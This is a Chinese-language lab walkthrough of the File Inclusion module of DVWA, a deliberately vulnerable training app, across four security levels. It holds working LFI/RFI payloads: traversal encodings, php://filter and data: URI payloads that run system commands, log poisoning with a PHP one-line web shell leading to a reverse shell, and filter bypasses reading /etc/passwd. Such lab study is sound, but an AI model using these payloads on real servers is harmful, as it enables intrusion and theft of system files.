DVWA(Damn Vulnerable Web Application)
DVWA(Damn Vulnerable Web Application)是一個用來進行弱點安全測試的網站系統,旨在為安全專業人員測試自己的專業技能和工具提供合法的環境,幫助web開發者更好的理解web應用安全防範的過程。
DVWA共有十個模組,分別是Brute Force(暴力破解)、Command Injection(命令注入)、CSRF(跨站請求偽造)、File Inclusion(檔案包含)、File Upload(檔案上傳)、Insecure CAPTCHA(不安全的驗證碼)、SQL Injection(SQL注入)、SQL Injection(Blind)(SQL盲注)、XSS(Reflected)(反射型跨站腳本)、XSS(Stored)(儲存型跨站腳本)。
需要注意的是,DVWA 的程式碼分為四種安全級別:Low,Medium,High,Impossible。初學者可以通過比較四種級別的程式碼,接觸到一些PHP代碼審計的內容。
File Inclusion (low)
File Inclusion,意思是檔案包含(漏洞),是指當伺服器開啟allow_url_include選項時,就可以通過php的某些特性函數(include(),require()和include_once(),require_once())利用url去動態包含檔案,此時如果沒有對檔案來源進行嚴格審查,就會導致任意檔案讀取或者任意命令執行。
在開始之前,要先介紹一下LFI有哪些姿勢。
- 目錄跳脫
- .//index.php
- ../../../../../../etc/passwd
- 利用url編碼
- ../
- %2e%2e%2f
- ..%2f
- %2e%2e/
- ..\
- %2e%2e%5c
- ..%5c
- %2e%2e\
- ../
- 二次編碼
- ../
- %252e%252e%252f
- ..\
- %252e%252e%255c
- ../
示範程式碼 index.php
<?php
$file = $_GET['file'];
include $file;
?>
php://input
- 利用條件:
- allow_url_include = On。
- 對allow_url_fopen不做要求。
Kali Linux,修改php.ini
路徑為/etc/php/7.3/apache2/php.ini。
將allow_url_inclue修改為On。
php://filter
- 利用條件:
- 無
index.php?file=php://filter/read=convert.base64-encode/resource=index.php
取得base64編碼後,再進行解碼即可得到該檔案原始碼。
其他姿勢:
透過php://filter/convert.base64-encode來讀取,與上一個不同點是,這個沒有read參數。
index.php?file=php://filter/convert.base64-encode/resource=index.php
phar://
- 利用條件:
- php版本大於等於php5.3.0
假如有個phpinfo.php檔,而壓縮成phpinfo.zip,可利用phar://方式讀取壓縮檔下的文件內容。
index.php?file=phar://phpinfo.zip/phpinfo.php
data:URI schema
- 利用條件:
- php版本大於等於php5.2
- allow_url_fopen = On
- allow_url_include = On
index.php?file=data:text/plain,%3C?php%20phpinfo();?%3E
命令執行
index.php?file=data:text/plain,%3C?php%20system(%27cat%20/etc/passwd%27);?%3E
base64編碼與URL編碼
PD9waHAgcGhwaW5mbygpOz8 = <?php phpinfo();?>
%2b = +
index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
命令執行
PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg== = <?php system('whoami');?>
index.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==
SSH log
- 利用條件:
- 需要知道ssh-log的位置,且可讀。預設情況下為 /var/log/auth.log
auth.log是記錄SSH登錄的資訊。先將該檔案賦予權限755。
接著ssh連上該主機,帳號輸入:<?php system($_GET['cmd']); ?>
密碼任意輸入。
接著從auth.log即可看到我們輸入的帳號資訊。
於是便可透過LFI的方式去讀取,接著便利用一句話命令執行
搭配msf,產reverse_tcp。
透過命令執行訪問該msf的地址。
即可成功拿到shell。
Apache log
與auth.log同理。
environ
- 利用條件:
- php以cgi方式執行,這樣environ才會保持UA header。
- environ檔案儲存位置已知,且environ檔案可讀。
proc/self/environ中會儲存user-agent header。
如果在user-agent中插入php程式碼,則php程式碼會被寫入到environ中。之後再包含它,即可。
LFI + phpinfo ==> RCE
搭配phpinfo或暴力猜解。
簡單介紹完LFI常見手法了,接下來正式進入DVWA主題。
在這題,總共有三個檔案
file1.php
file2.php
file3.php
隨便點第一個檔案,file1.php,並觀察其網址為
fi/?page=file1.php。
LFI題目一樣可以利用黑箱或白箱的方式進行測試,兩種方法都會介紹,但主要還是以白箱為主。
黑箱攻擊:
fi/?page=/etc/passwd
fi/?page=../../../../../../etc/passwd
fi/?page=php://filter/read=convert.base64-encode/resource=file1.php
PD9waHANCg0KJHBhZ2VbICdib2R5JyBdIC49ICINCjxkaXYgY2xhc3M9XCJib2R5X3BhZGRlZFwiPg0KCTxoMT5WdWxuZXJhYmlsaXR5OiBGaWxlIEluY2x1c2lvbjwvaDE+DQoJPGRpdiBjbGFzcz1cInZ1bG5lcmFibGVfY29kZV9hcmVhXCI+DQoJCTxoMz5GaWxlIDE8L2gzPg0KCQk8aHIgLz4NCgkJSGVsbG8gPGVtPiIgLiBkdndhQ3VycmVudFVzZXIoKSAuICI8L2VtPjxiciAvPg0KCQlZb3VyIElQIGFkZHJlc3MgaXM6IDxlbT57JF9TRVJWRVJbICdSRU1PVEVfQUREUicgXX08L2VtPjxiciAvPjxiciAvPg0KCQlbPGVtPjxhIGhyZWY9XCI/cGFnZT1pbmNsdWRlLnBocFwiPmJhY2s8L2E+PC9lbT5dDQoJPC9kaXY+DQoNCgk8aDI+TW9yZSBpbmZvPC9oMj4NCgk8dWw+DQoJCTxsaT4iIC4gZHZ3YUV4dGVybmFsTGlua1VybEdldCggJ2h0dHBzOi8vZW4ud2lraXBlZGlhLm9yZy93aWtpL1JlbW90ZV9GaWxlX0luY2x1c2lvbicgKSAuICI8L2xpPg0KCQk8bGk+IiAuIGR2d2FFeHRlcm5hbExpbmtVcmxHZXQoICdodHRwczovL3d3dy5vd2FzcC5vcmcvaW5kZXgucGhwL1RvcF8xMF8yMDA3LUEzJyApIC4gIjwvbGk+DQoJPC91bD4NCjwvZGl2PlxuIjsNCg0KPz4NCg==
fi/?page=https://www.google.com.tw/
直接看Source code,可以看到只有一個$_GET傳送的page參數,沒有經過任何的過濾。所以可以進行任意LFI/RFI。
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
File Inclusion (medium)
直接看Source Code,第7、8行增加了str_replace,過濾了http://與https://和../、..\轉為空,但只會過濾一次,這種過濾方式很常見,且容易繞過。
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
在這邊過濾了一次https://,我們就輸入兩個https://。
當我們輸入hthttps://tps://,經過str_replace後,會變成https://,就成功繞過了。
fi/?page=hthttps://tps://www.google.com.tw/
File Inclusion (high)
直接看Source Code,這邊使用了fnmatch檢查page參數,限制了開頭必須是file才可以去include檔案,要繞過這限制我們可以使用file:///協議來進行繞過。
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
例如:fi/?page=file:///etc/passwd
File Inclusion (impossible)
在這級別中,限制了file必須等於include和file1、file2、file3,直接使用了白名單方式進行了限制,導致無法繞過。
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>